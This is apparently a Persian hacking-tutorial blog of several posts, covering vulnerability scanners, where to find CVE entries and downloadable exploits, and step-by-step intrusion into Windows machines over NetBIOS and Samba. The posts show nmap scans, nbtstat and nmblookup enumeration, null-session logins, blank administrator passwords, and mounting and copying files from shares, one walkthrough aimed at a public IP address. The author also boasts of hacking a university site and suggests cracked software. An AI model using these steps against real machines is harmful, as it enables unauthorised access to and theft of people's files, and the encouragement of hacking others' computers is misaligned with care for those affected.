تبليغاتX
رایانه
نرم افزار

Vulnerability Scanner چيست؟



 
 - Vulnerability Scanner چيست؟
 
 Vulnerability Scanner ابزاري است که به کمک اون ميشه کامپيوترهاي شبکه رو از نظر وجود سوراخ‌هاي امنيتي تست کرد. vul scanner ها اين کار را به صورت اتوماتيک يا نيمه‌اتوماتيک انجام مي‌ده.
 vul scanner ها رو مي‌شود به دو دسته Network based و Host based تقسيم کرد. اولي را به‌صورت remote و دومي رو به‌صورت local استفاده مي‌کنند. به عبارت ديگر در مورد Network based اونو موقعي استفاده مي‌کنيم که دسترسي فيزيکي به سيستم‌ نداريم (مثلا موقعي که فقط از طريق اينترنت و از طريق ip سيستم رو چک مي‌کنيم) اما در مورد Host based ابزار رو رو کامپيوتري که مي‌خوايم تست کنيم، نصب کرده و کار اسکن رو انجام مي‌ديم. بحث ما فعلا در مورد Network based scanner هاست.
 نکته مهم راجع به اسکنرها اين است که حتي اگر يه اسکنر نتونه واسه يه کامپيوتر vul پيدا کنه، دليل بر امن بودن اون کامپيوتر نيست. دليلش هم کاملا واضحه چون هر vul scanner ي از يک database استفاده مي‌کنه که الزاما همه vul ها رو پوشش نميده. حتي بهترين اسکنر‌ها مثل Nessus هم هيچ‌وقت جاي يه هکر واقعي رو نمي‌گيره. از قديم گفتن کامپيوتر رو هکر هک مي‌کنه نه يه کامپيوتر ديگه!
 يه نکته ديگه که بايد حتما بگم اينه که خيلي از vul scanner ها اين امکان رو دارند که بشه datebase اونا رو از طريق اينترنت update کرد تا vul هاي جديد رو هم شامل بشوند.
 
 
 - vul scanner هاي تجاري (پولي)
 
 اين نرم‌افزارها رو بايد خريداري کنيد (يا اينکه crack اش رو پيدا کنيد). پولي بودن يک نرم‌افزار به معني اين نيست که الزاما اين vul scanner عملکرد بهتري نسبت به انواع مجاني داشته باشه. ضمنا اکثر محصولات تجاري اجازه استفاده trial رو براي يک ماه به شما ميدن.
 
 ۱-
ISS :
 از سايت iss.net است. يکي از بهترين اسکنرهاست. براي ويندوز و يونيکس (لينوکس) قابل استفاده است.
 
 ۲-
CyberCop :
 يکي از مشهورترين اسکنرهاست. براي ويندوز و لينوکس
 
 ۳-
NetRecon :
 از شرکت Symantec است (Axent). براي سيتم‌عامل ويندوز
 
 ۴-
NetSonar :
 از cisco
 
 ۵-
Retina :
 از مشهورترين اسکنرهاي تجاري است. از سايت eeye.com - براي ويندوز
 
 ۶-
N-STEALTH :
 خودش و سايتش يه کم تابلو خالي مي‌بندن ولي در کل اسکنر خوبيه.
 
 ۷- و…
 
 
 - vul scanner هاي مجاني
 
 ۱-
Nessus :
 بهترين اسکنر تمام اعصار! چي بگم که واقعا تک تک‌ه. براي سيستم‌عامل‌هاي يونيکس (لينوکس) استفاده ميشه. براي ويندوز فقط کلاينتش هست (بعدا توضيح مي‌دم که يعني چي)
 
 ۲-
SAINT و SARA :
 هر دو نسل جديد
SATAN هستند و هر دو براي يونيکس (لينوکس) هستند ولي هيچ‌يک در برابر Nessus عددي نيستند!
 
 ۳-
LanGuard :
 براي ويندوز - در ايران خيلي مشهور شده ولي در کل اسکنر خوبي نيست :)
 
 ۴-
VLAD :
 از تيم Razor - براي يونيکس‌(لينوکس)
 
 ۵- و…
 
 
 - False Positive چيست؟
 
 False Positive يعني مواردي که اسکنر تشخيص ميده که يک vul در سيستم هست در حاليکه چنين نيست. اين مورد خيلي وقت‌ها پيش مياد و هيچ هم عجيب نيست. پس وقتي Vul Scanner يه Vul رو تشخيص ميده، زياد هم حال نکنين!
 
 
 - نکته
 
 + CGI Scanner ابزاري است که به نوعي به‌عنوان مکمل vul scanner ها استفاده ميشه که بعدا توضيح مي‌دم.
 + Retina را براي ويندوز و Nessus رو براي لينوکس حتما داون‌لود و تست کنيد. من درس بعدي احتمالا Nessus رو توضيح مي‌دم ولي اسکنرها اکثرا مثل همند.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:39 قبل از ظهر  به دست ابی | 

Vulnerability چيست؟



- Vulnerability چيست؟

Vulnerability يا به‌صورت مختصر vul را در فارسي حفره يا سوراخ امنيتي مي‌گيم. اين عبارت رو بايد يه کم توضيح بدم. فرض کنيد که يه نرم‌افزار داريم که يه پورتي رو باز مي‌کنه. وقتي اين نرم‌افزار قرار هست که منتشر بشه، شرکت سازنده يه سري تست رو نرم‌افزار انجام ميده که مشکلي نداشته باشه. بعد که اطمينان نسبي خاصل شد، نرم‌افزار ارائه مي‌شود و سرورها و کلاينت‌ها از اون نرم‌افزار و از اون ورژن خاص شروع به استفاده مي‌کنن. بعد از اينکه نرم‌افزار منتشر شد، گروه‌هاي مختلفي که در سراسر جهان هستند و کارشان تست امنيتي اين نرم‌افزارهاست شروع به فعاليت مي‌کنند. اين گروه‌ها هر چند وقت يک بار موفق به يافتن نقاط ضعفي در اين برنامه‌ها مي‌شوند و اونو گزارش مي‌کنن. سايت‌هايي هستند که کارشون به‌طور عمده گزارش جديد‌ترين vul هاي کشف شده است. مثلا ممکنه در سايت‌هايي مثل securitytracker.com يا securityfocus.com و ... به عبارتي مثل :

A vulnerability was reported in ... 

برخورد کرده باشيد. اين بيان مي‌کنه که يه vul جديد کشف شده است. دقت کنيد که اين vul از وقتي نرم‌افزار طراحي شده با اون بوده ولي کسي از اون خبر نداشته تا وقتي که اين گزارش منتشر بشه! پس اين گروه‌ها کارشون کشف باگ هستش نه اختراع باگ!
همچين نرم‌افزاريي رو vulnerable مي‌گن. يعني قابل نفوذ.
اين vul ها انواع مختلفي دارند و ميشه اونا رو catagorize (طبقه‌بندي) کرد. اين بحث رو بعدا به‌طور کامل مطرح مي‌کنم. عجالتا بهتره کمي هم راجع به exploit صحبت کنم:



- exploit چيست؟

فرض کنيد که يکي مياد و يه باگ رو کشف مي‌کنه. اين کشف vul معمولا فقط در حد يک گزارش مي‌مونه تا اينکه يکي همت کنه و روشي براي exploit کردن اون vul درست کنه. پس vul جنبه تئوري قضيه است و exploit قسمت عملي اون. exploit مي‌تونه يه کد (معمولا به زبان‌هاي سي و پرل ) يا يه دستورالعمل يا يه url و ... باشه. وقتي شما مطمئن مي‌شين که فلان سرور از فلان ورژن فلان نرم‌افزار استفاده مي‌کنه که اون نرم‌افزار فلان vul رو داره، يا بايد exploit بسازيد و يا اينکه يه exploit واسه اون از اينترنت پيدا کنيد.
نتيجه اينه که ممکنه يه vul کشف شده باشه ولي exploit واسه اون نباشه. حتي من ديدم که سايت‌هاي مطرحي مثل Cert ميان و قلم فرسايي مي‌کنن که فلان vul قابل exploit کردن نيست ولي بعد exploit نوشته ميشه و اينا ضايع مي‌شن!! البته بگذريم که نمونه‌هايي از vul ها رو داريم که هرگز براش exploit نوشته نشده باشه.


- vul ها رو چگونه نام‌گذاري مي‌کنند؟

اولين نکته‌اي که بايد بگم، اينه که براي هر Vulnerability يک شماره يا يک نام نسبت مي‌دن. اين شماره يا نام در واقع يک استانداردي است که به هکرها و متخصصين امنيت شبکه اجازه ميده که حرف همديگرو بفهمن! مثلا ممکنه جايي ببينيد که راجع به NT IIS Unicode Vulnerability صحبت مي‌کنند يا راجع به CVE شماره CVE-2000-0884 يا BID شماره 1806 بحث مي‌کنند. دقت کنيد که همه اينها معادل هم هستند. پس براي يک vul خاص ممکن است شماره‌ها يا عبارت‌هاي معادلي باشد.

۱- CVE اولين جايي است که بايد ببينيد:
فرض کنيد که شما متوجه شده‌ايد که سروري داراي يک vul به شماره CVE-2000-0508 داشته باشد (اينکه چطوري ميشه فهميد يه سرور چه vul هايي داره بعدا بحث خواهم کرد). براي CVE از يکي از آدرس‌هاي زير استفاده کنيد:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=xxxxxxxxxx
http://cgi.nessus.org/cve.php3?cve=xxxxxxxxx

که به جاي xxxxxxxxx بايد شماره CVE رو بنويسيد مثلا CVE-2000-0508 يا مثلا CAN-2002-0651 و...
وقتي به اين آدرس‌ها رجوع کنيد مي‌بينيد که يه سري نام‌ها و شماره معادل براي اين CVE ذکر شده است. به عبارت ديگه واسه اينکه در مورد يک vul مطالبي بياموزيد، اولين کاري که مي‌کنيد رجوع به يکي از دو سايت بالاست. بعد از رجوع به آنها مي‌تونيد لينک‌هايي را استخراج کنيد که به شما اجازه مي‌دن، راجع به اون vul مطالبي رو بياموزيد.
فرض کنيد که يک vul رو که CVE اونو مي‌دونيد در يکي از اين سايت‌ها داريد مي‌خونيد، ملاحظه خواهيد کرد که براي اين CVE بعد از يک توضيح مختصر يک سري اسم و شماره ذکر شده است. اين اسامي ممکن است، BID يا XF يا ... باشد. در واقع براي اينکه در مورد اين vul خاص نکاتي را ياد بگيريد، علاوه بر توضيحات مختصز بالاي صفحه بايد تک تک اين مطالبي که بهشون ارجاع داده شدين، مثل BID مربوطه، XF مربوطه و ... را بخونين. حالا اگه اونحا نوشته باشه:

BID: 1806

از کجا بايد اونو خوند؟ (يعني لينک مستقيمش چي هست؟) همين پايين مهم‌ترهاشو مي‌گم (دقت کنيد که همه اون اسم‌ها معادل هم هستند فقط سايت‌هاي مختلف اسم‌هاي مختلفي را واسه يه vul انتخاب مي‌کنند و ما مي‌خواهيم تمام مطالب مرتبط با يه vul خاص رو از سايت‌هاي مختلف پيدا کنيم )

۲- BID يا BugTraq ID يا همون نفس من بيده! :
فرض کنيد که صفحه مربوط به CVE خاص رو خوندم و اونجا به عبارت BID: 1806 برخوردم. حالا اونو از کجا بخونم؟ از اينجا :

http://www.securityfocus.com/bid/xxxx

که به جاي xxxx بايد يک عدد بنويسيد (همان عدد مربوز به BID ) مثلا به جاي xxxx بنويسيد: 1806
اگه بخوام بهترين محل يادگيري راجع به vul ها رو ذکر کنم، جايي بهتر از www.securityfocus.com واسه اين کار وجود نداره. دقت کنيد وقتي که صفحه مربوط به يک BID خاص رو در اين سايت مي‌بينيد، يک سري لينک به اسم‌هاي info و discussion و exploit و solution را هم بخونين که جنبه‌هاي مختلف اون vul خاص است. مخصوصا قسمت exploit که جايي است که جوجه‌هکرها مي‌تونن با اون حسابي حال کنن! به عبارت ديگه جاييه که واسه اون vul خاص exploit داون‌لود کنيد. خيلي از ابزارهاي هک که تبليغ مي‌شن، در واقع با تغييرات کمي از همين exploit ها بدست مي‌آن!!

۳- XF :
XF استاندارد سايت iss.net براي vul هاست. XF به صورت يک نام (نه عدد) نام‌گذاري مي‌شوند و اونو بايد در صفحه زبر بخونين:

http://www.iss.net/security_center/search.php

که وقتي در اين صفحه search کنيد، يک سري صفحات static بدست مياد که بايد بخونين.

۴- CA يا CERT:
سايت cert.org براي vul ها از اسم CA استفاده مي‌کند، مثل CA-2002-19 براي CA ها صفحه زير رو ببينيد:

http://www.cert.org/advisories/xxxxxxxxx.html

به‌جاي xxxxxxxxx مثلا مي‌نويسيم: CA-2002-19
ضمنا دقت کنيد که وقتي مطالب مربوط به يک vul رو از سايت cert مي‌خونيد، ملاحظه مي‌کنيد که لينک‌هايي به صورت VU#xxxxx در آن هست که به جاي xxxx يک عدد نوشته شده مثلا 369347 که اين VU# رو مي‌تونيد از اينجا بخونيد:

http://www.kb.cert.org/vuls/id/xxxxxx

۵- و …


- چگونه vul هايي که يه سرور داره رو پيدا کنيم؟

خوب اين موضوع کاملا بستگي به سطح اطلاعات شما داره:

۱- جوجه هکرها و هکرهاي تازه‌کار:
جوجه هکرها و نيز هکرهاي تازه کار (قابل احترام) واسه پيدا کردن vul هاي مربوط به يک سرور از security scanner ها يا vulnerability scanner ها يا Vulnerability Analysis استفاده مي‌کنند. به کمک vul scanner مي‌توان يک ip خاص رو به صورت اتوماتيک اسکن کرد تا ببينيم چه سوراخ‌هايي داره که اونا رو exploit کنيم. بعد از اسکن يک ip يک سري CVE به ما ميده که اونا رو بايد بخونيم.

۲- هکرهاي پيش‌کسوت:
هکرهاي پيش کسوت با تجربه‌اي که دارند مي‌دونند که مثلا اگه يه سرور از IIS 5.0 استفاده مي‌کنه، چه vul هايي براي اون هست پس وقتشون رو با اسکن کردن تلف نمي‌کنند. تجربه چيزي است که به‌تدريج بدست مي‌آوريد، پس زياد عجله نکنيد.

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:38 قبل از ظهر  به دست ابی | 

Samba چيست؟




- Samba چيست؟

احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم.
سيستم عاملهاي بر پاييه يونيکس مثل لينوکس براي Share کردن فايلها و پرينتر ها از طريق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز ميشه استفاده ميکنن و از اين طريق لينوکس ميتونه Share هاي کامپيوتر هاي ويندوز رو Mount کنه. (اگه کاربر لينوکس هستيد، نمي‌تونيد روش‌هايي که در درس قبلي براي ويندوز ذکر شده استفاده کنيد، بلکه بايد از Samba بهره گيريد. اما طرف مقابل که قرار است هک بشه، سيستم‌عاملش رو فرض مي‌کنيم که ويندوزه. پس ما مي‌خوايم با لينوکس يک سيستم‌عامل ويندوز را که ۱۳۹ باز داره، هک کنيم) بي شک Netbios عمومي ترين مشکل امنيتي ويندوزه که استفاده ازش چندان مشکل نيست.
خب ! همون طور که گفتم ما براي اين کار از Samba استفاده ميکنيم. من اينجا چيزي در مورد Samba نمي‌نويسم و بنا کار رو بر اين ميگذارم که تا حدودي ميتونيد با Samba کار کنيد . اگر احتمالا مشکلي داريد ميتونيد به Samba.org سر بزنيد و در Documention ها دنبال راهنما باشيد :) به طور کل اگر نميدونيد چطور از Samba استفاده کنيد بهتره که کاري با کامپيوتر هاي مردم نداشته باشيد ! :)


- چگونه با پورت ۱۳۹ صحبت کنيم؟

۱- اولين قدم پيدا کردن کامپيوتريه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. براي اينکار از Nmap استفاده مي‌کنيم. Nmap معمولا رو همه Description هاي فعلي پيدا ميشه. مي‌خوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدام‌ها پورت ۱۳۹ باز دارند. براي اين کار مي‌نويسم:

# nmap -sS -O 192.168.3.1-50 -p 139

و جواب مي‌شنوم:

st 1 open and 1 closed TCP port
Interesting ports on  (192.168.3.2):
Port       State       Service
139/tcp    open        netbios-ssn
Remote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3

بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن :) 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره :) من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست .

۲- قدم دوم گرفتن NetbiosName هاي هدفه. بدون اين اسمها ما نميتونيم هيچ جور اطلاعاتي از هدف بگيريم. از اونجايي که مايکروسافت سعي کرده همه کارها رو ساده کنه، ويندوز هاي رو شبکه Netbios به جاي Ip Address از اسم استفاده ميکنن!! خب اينجا لازمه از يه Netbios Scanner يا Share Scanner استفاده کنيم. معمولا رو هر Description يي دستور nmblookup پيدا ميشه - که خيلي شبيه nbtstat ويندوزه - رو لينوکس کار ميکنه. من شخصا خيلي از nmblookup خوشم نمياد چون Share Scanner هاي بسيار بهتري هستن ! :) به هر صورت من اينجا از nmblookup استفاده ميکنم . شکل کلي دستور اينه : nmblookup –A . اين flag ه A باعث ميشه که nmblookup بتونه Query بهتري انجام بده . حالا رو هدفهوم امتحان ميکنيم :

# nmblookup –A 192.168.3.2

و جواب مي‌گيرم:

Looking up status of 192.168.3.2
        ARMINLAPTOP     <00> -          B < ACTIVE>
        WORKGROUP       <00> - < GROUP> B < ACTIVE>
        ARMINLAPTOP     <03> -          B < ACTIVE>
        ARMINLAPTOP     <20> -          B < ACTIVE>
        WORKGROUP       <1e> - < GROUP> B < ACTIVE>
        ADMINISTRATOR   <03> -          B < ACTIVE>
        WORKGROUP       <1d> -          B < ACTIVE>
        ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>

همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست :)

۳- بگذارين قبل از قسمت سوم کار يکمي در مورد ويندوز ها صحبت کنيم. Netbios به طور کلي روي همه ويندوز ها به نوعي خطر ايجاد ميکنه. رو ويندوز هاي سري 2000 به بالا همه پارتيشن هاي سيستم Share شده اند و با پسوردي که Administrator دارد، باز ميشن. خيلي از کاربران تازه کار هم پسورد Administrator رو خالي ميگذارن. به نظر من اين سري ويندوز ها بيشتر در خطر هستند. رو ويندوز هاي 9x هيچ فايلي به طور Default Share نشده، ولي خوب اگر بشه ممکنه بتونيم از طريقش بدون پسورد وارد فايل سيستم بشيم :) حتي اگر پسورد Administrator رو هم نداشته باشيم Anonymous Login ميتونه اطلاعات خيلي مفيدي بهموم بده :) حالا مي‌خواهيم ليست Share ها رو بدست بياوريم . ( در درس قبلي براي ويندوز از دستور net view براي همين‌کار استفاده کرديم) توجه کنيد که کرنل بايد Network File System و Samba File System رو ساپرت کرده باشه : در اين مثال در نظر گرفتم که پسورد Administrator خاليه ! :) مي‌نويسم:

# smbclient –Uadministrator –LARMINLAPTOP –I 192.168.3.2

نتيجه دستور به صورت زير است:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

        Sharename      Type      Comment
        ---------      ----      -------
        IPC$           IPC       Remote IPC
        D$             Disk      Default share
        ADMIN$         Disk      Remote Admin
        C$             Disk      Default share
        Armin          Disk

        Server               Comment
        ---------            -------
        ARMINDESKTOP         Samba 2.2.3a
        ARMINLAPTOP

        Workgroup            Master
        ---------            -------
        WORKGROUP            ARMINLAPTOP

خب ميبينيد ؟ :) هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! :) همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه مي‌فرماييد که Armin به عنوان Disk به‌اشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ):

# smbclient -LARMINLAPTOP -I 192.168.3.2

و جواب:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

        Sharename      Type      Comment
        ---------      ----      -------
Error returning browse list: NT_STATUS_ACCESS_DENIED

        Server               Comment
        ---------            -------
        ARMINDESKTOP         Samba 2.2.3a
        ARMINLAPTOP

        Workgroup            Master
        ---------            -------
        WORKGROUP            ARMINLAPTOP

خب باز هم يه اطلاعاتي پيدا ميکنيم ! :) با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره !

۴- خب حالا سعي ميکنيم که اين Share هارو Mount کنيم. مي‌نويسيم:

# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2

و جواب مي‌شنوم:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
session setup failed: NT_STATUS_LOGON_FAILURE

خب ! :) Share توسط Password محافظت ميشه ! :) کار زيادي نمي‌تونيم انجام بديم. مثلا مي‌تونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار مي‌کنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم :

# smbclient //ARMINLAPTOP/Armin -I 192.168.3.2 -Uadministrator

و جواب مي‌شنوم:

added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0
Password:
Domain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
smb: > 

اين

smb: > ls

و جواب مي‌شنوم:

  .                                  DA        0  Sat Feb  8 05:34:11 2003
  ..                                 DA        0  Sat Feb  8 05:34:11 2003
  Blcorp                              D        0  Sat Feb  8 03:05:51 2003
 
                47943 blocks of size 65536. 8261 blocks available

و ادامه مي‌دم به صورت زير:

smb: > cd Blcorp
smb: Blcorp> ls
  .                                   D        0  Sat Feb  8 03:05:51 2003
  ..                                  D        0  Sat Feb  8 03:05:51 2003
  WLTrial.exe                         A  2321412  Mon Apr 29 14:18:58 2002

                47943 blocks of size 65536. 8261 blocks available
smb: Blcorp> get WLTrial.exe
getting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...
smb: Blcorp>

شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد :) فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نمي‌گيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم !


- FAQ

- آيا Samba به نا امني Netbios ويندوز است ؟
نه اصلا ! Samba يک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسيار پايينه ! فرض کنيد از طريق سيستم‌عامل ويندوز مي‌خوام اين کامپيوتري که Samba داره رو هک کنم. دستور تايپ شده و جواب بدست اومده بيانگر امنيت Samba ست:

C:>nbtstat -A 192.168.3.1

Local Area Connection 2:
Node IpAddress: [192.168.3.2] Scope Id: []

    Host not found

- يک نفوذ بدون مشکل جدي چقدر طول مي‌کشه ؟
موقع هک کردن Client بايد سريع باشيد ! کل اين مراحل حداکثر 3 يا 4 دقيقه وقت ميگيره , فقط نوشتنش طول ميکشه! :)

- چرا هک کردن Netbios از طريق Unix/Linux راحت تر از Windows هست ؟
خب خيلي سريع تره، ابزارهاي بهتر و از همه مهم‌تر اينکه خودتون در معرض خطر نيستيد :)

+ نوشته شده در  جمعه سوم مهر 1388ساعت 3:37 قبل از ظهر  به دست ابی | 

NetBIOS چيست؟




- NetBIOS چيست؟

NetBIOS مخفف عبارت Network Basic Input/Output System است. NetBIOS ابزاري است که اجازه به اشتراک گذاشتن منابع رو به ما مي‌ده. ما برای به اشتراک گذاشتن فايل‌ها و يا پرينتر مي‌تونيم از اين پروتکل استفاده کنيم. نکته مهم اين است که NetBIOS فقط در سيستم‌عامل ويندوز معني داره (اگرچه ابزارهايي مثل Samba در لينوکس مي‌تونن اونو شبيه سازي کنن ولي بحث ما خود پروتکل NetBIOS است). وقتي NetBIOS در ويندوز فعال باشد، بلافاصله سه تا پورت براي استفاده باز مي‌شوند. پورت مهم و اصلي پورت ۱۳۹ در tcp است که NetBIOS را هم با اين پورت مي‌شناسن. دو پورت ديگر، از نوع udp هستند و عبارتند از پورت ۱۳۷ براي name service و پورت ۱۳۹ براي Datagram service . وقتي قرار باشه که يک سيستم‌عامل ويندوز هک بشه ( خصوصا اگه کلاينت باشه ) يکي از اولين مواردي که به ذهن مي‌رسه، استفاده از NetBIOS ه.
حالا ببينيم منظور از به اشتراک گذاشتن (Sharing) در مورد فايل‌ها و پرينتر‌ها چيست؟
به اشتراک گذاشتن در مورد فايل‌ها يعني قرار دادن تعدادي فايل در يک کامپيوتر خاص به طوريکه توسط ساير کامپيوترها قابل دسترسي و استفاده باشه. در مورد پرينتر به اشتراک گذاشتن يعني طوري چاپگر متصل به يک کامپيوتر را تنظيم کنيم که توسط ساير کامپيوتر‌ها هم قابل استفاده باشه. با توجه به اينکه در سيستم‌عامل‌هاي ويندوز به صورت پيش‌فرض NetBIOS فعال است، پس مي‌توان به تعدادي از فايل‌ها و فولدرهاي تعدادي از کامپيوترهاي روي شبکه دسترسي داشت و فايل‌ها را خواند و حتي کپي يا پاک کرد.


- چگونه با پورت ۱۳۹ صحبت کنيم؟

۱- اولين کاري که مي‌کنيم اين است که براي پورت ۱۳۹ پورت اسکن مي‌کنيم تا ip هايي را که پورت ۱۳۹ در آنها باز است، پيدا کنيم. من اين کار را با nmap انجام مي‌دم. فرض کنيد که يک ip به شماره 217.218.84.29 را تست کرده و به نتيجه زير برسم:

Interesting ports on HOME-TU6U0AV86Y (217.218.84.29):
Port       State       Service
139/tcp    open        netbios-ssn             
Remote operating system guess: Windows Millenn... (Me), Win 2000, or WinXP

اين خروجي اعلام مي‌کند که پورت ۱۳۹ باز است. پس مي‌شود از اين ip استفاده کرد.

۲- حالا مي‌خوام با اين پورت ارتباط برقرار کنم. اصولا بايد مثل سابق از telnet يا nc استفاده کنم ولي در مورد پورت ۱۳۹ روش ارتباطي فرق مي‌کند. کامنت پرامت را باز کرده و دستور زير را مي‌نويسم:

nbtstat -A 217.218.84.29

دستور nbtstat يک ابزار خاص براي کار با NetBIOS است. دقت کنيد که از پارامتر A- با ip مربوطه استفاده کردم. (دستور nbtstat داراي پارامتر‌هاي بسياري است که اگه مي‌خواين همه رو ببينين، بنويسين nbtstat و enter را بزنيد.)
حالا بحث اينه که اين دستور چه‌ کاري مي‌کنه و خروجي به چه صورتي است:
اين دستور به ip مورد نظر وصل مي‌شه و از اون مي‌خواد ليست منابعي رو که به اشتراک گذاشته رو ليست کنه. در اين حالت ۲ حالت ممکنه اتفاق بيوفته:
الف) مواجه با پيغام Host not found بشم. اين يعني اينکه نمي‌تونه ليست منابع را از اون کامپيوتر بگيره (يعني NetBIOS غير فعاله). يعني اگرچه پورت ۱۳۹ بازه ولي قابل استفاده نيست.
ب) ارتباط برقرار بشه و ليست منابع اشتراکي ليست بشه:

           NetBIOS Remote Machine Name Table

       Name               Type         Status
    ---------------------------------------------
    HOME-TU6U0AV86Y<00>  UNIQUE      Registered
    MSHOME         <00>  GROUP       Registered
    HOME-TU6U0AV86Y<20>  UNIQUE      Registered
    MSHOME         <1E>  GROUP       Registered

    MAC Address = 00-53-45-00-00-00


۳- در اين نتايج چيزي که به درد مي‌خوره، سطري است که <20> دارد. اگه <20> نباشد، يعني نمي‌تونين از اشتراک گذاري فايل استفاده کنيد ( به عبارت ساده تر بي‌خيال شو اين کامپيوتر رو ! ). در اين مثال ما اين سطر را داشتيم پس ادامه مي‌دهيم. حالا مي‌نويسم:

net view 217.218.84.29

حالا اگه گفتين چي ميشه؟ درسته! دو حالت ممکنه اتفاق بيوفته:
الف) پيغام بياد

System error 5 has occurred.

Access is denied.

اين يعني نمي‌تونين ادامه بدين. به عبارت ديگه ايست! ولي يه کاري مي‌تونيد بکنيد و اون اينه که يه null session برقرار کنيد با اون کامپيوتر. اين حالت در مورد ويندوز‌هاي سري NT جواب ميده. مي‌نويسيد:

net use 217.218.84.29IPC$ "" /user:""

حالا چرا مي‌گن null session ؟ دليلش اينه که يک ارتباط برقرار کردم با اون ip بدون username و بدون password . حالا اگه اين دستور جواب داد مي‌تونم دوباره دستور net view 217.218.84.29 را تکرار کنم.
ب) ممکنه دستور ذکر شده جواب بده و مثلا جواب بده:

Shared resources at 217.218.84.29

Share name   Type         Used as  Comment

------------------------------------------------
Printer      Print                 Acrobat PDFWriter
Printer2     Print                 Acrobat Distiller
SharedDocs   Disk
The command completed successfully.

عاليه. دقت کنيد که در اين کامپيوتر يک فايل (Disk) به اسم ShareDocs به اشتراک گذاشته شده (دو تاي باقي براي پرينتر است). حالا که رسيدم به اين اسم ديگه آخرين دستور را مي‌نويسم.

۴- حالا وقتشه که واقعا عمل به اشتراک گذاشتن رو انجام بديم. براي اينکار بايد يک درايو انتخاب کنيد. حتما مي‌دونيد که درايو چيه. وقتي شما My Computer را دابل کليک کرده و باز مي‌کنيد، يک سري آيکون مي‌بينيد که هر کدام اسمي‌ دارند. مثلا :A براي فلاپي و و و تا مي‌رسيد به cdrom که آخرين حرف را دارد. مثلا فرض کنيد که :K باشه. حالا بايد اسم درايو رو براي اشتراک گذاشتن انتخاب کنيد. براي اين‌کار حرف بعدي در زبان انگليسي رو به کار ببريد. چون در کامپيوتر من :K آخرين بود، من حرف بعدي يعني :L را انتخاب مي‌کنم و دستور زير را مي‌نويسم:

net use L: 217.218.84.29SharedDocs

به اسم درايو، ip و نام مربوطه که ShareDocs دقت کنيد. چون من اصطلاحا به صورت null session دارم ارتباط مي‌گيرم، ممکنه کار نکنه ولي اگه درست کار کنه جواب مي‌شنوم:

The command completed successfully.

معرکه است!!! حالا My Computer رو باز کنيد و ببينيد که درايو جديد به ليست درايوها اضافه شده که مي‌تونين مثل درايوهاي معمولي با اون کار کنيد و فايل کپي کنيد و ...

۵- وقتي کار تموم شد مي‌تونيد درايو رو حذف کنيد. براي اينکار مي‌تونين روي درايو رايت‌کليک کنيد و Disconnect را انتخاب کنيد. و يا اينکه از دستور

net use /delete L:

استفاده کنيد.


- نکته نکته نکته

۱- يه روش جالب به جاي مرحله ۴ در بالا اينه که مثلا در مرورگر يا در run بنويسيد 217.218.84.29 که ip داراي اشتراک است و يا اينکه تايپ کنيد SharedDocsت217.218.84.29 که اصولا بايد جواب بده ( ولي من خودم تست نکردم اينو ).
۲- من دارم به صورت استاندارد کار مي‌کنم. بعدا خواهم گفت که چطوري مي‌تونيم وقتي تو بعضي از مراحل متوقف مي‌شيم، اونو دور بزنيم.
۳- NetBIOS فقط براي کلاينت‌ها نيست. من خودم يکبار سايت دانشگاه رو با اون هک کردم. البته با exploit کردن که بعدا خواهم گفت.
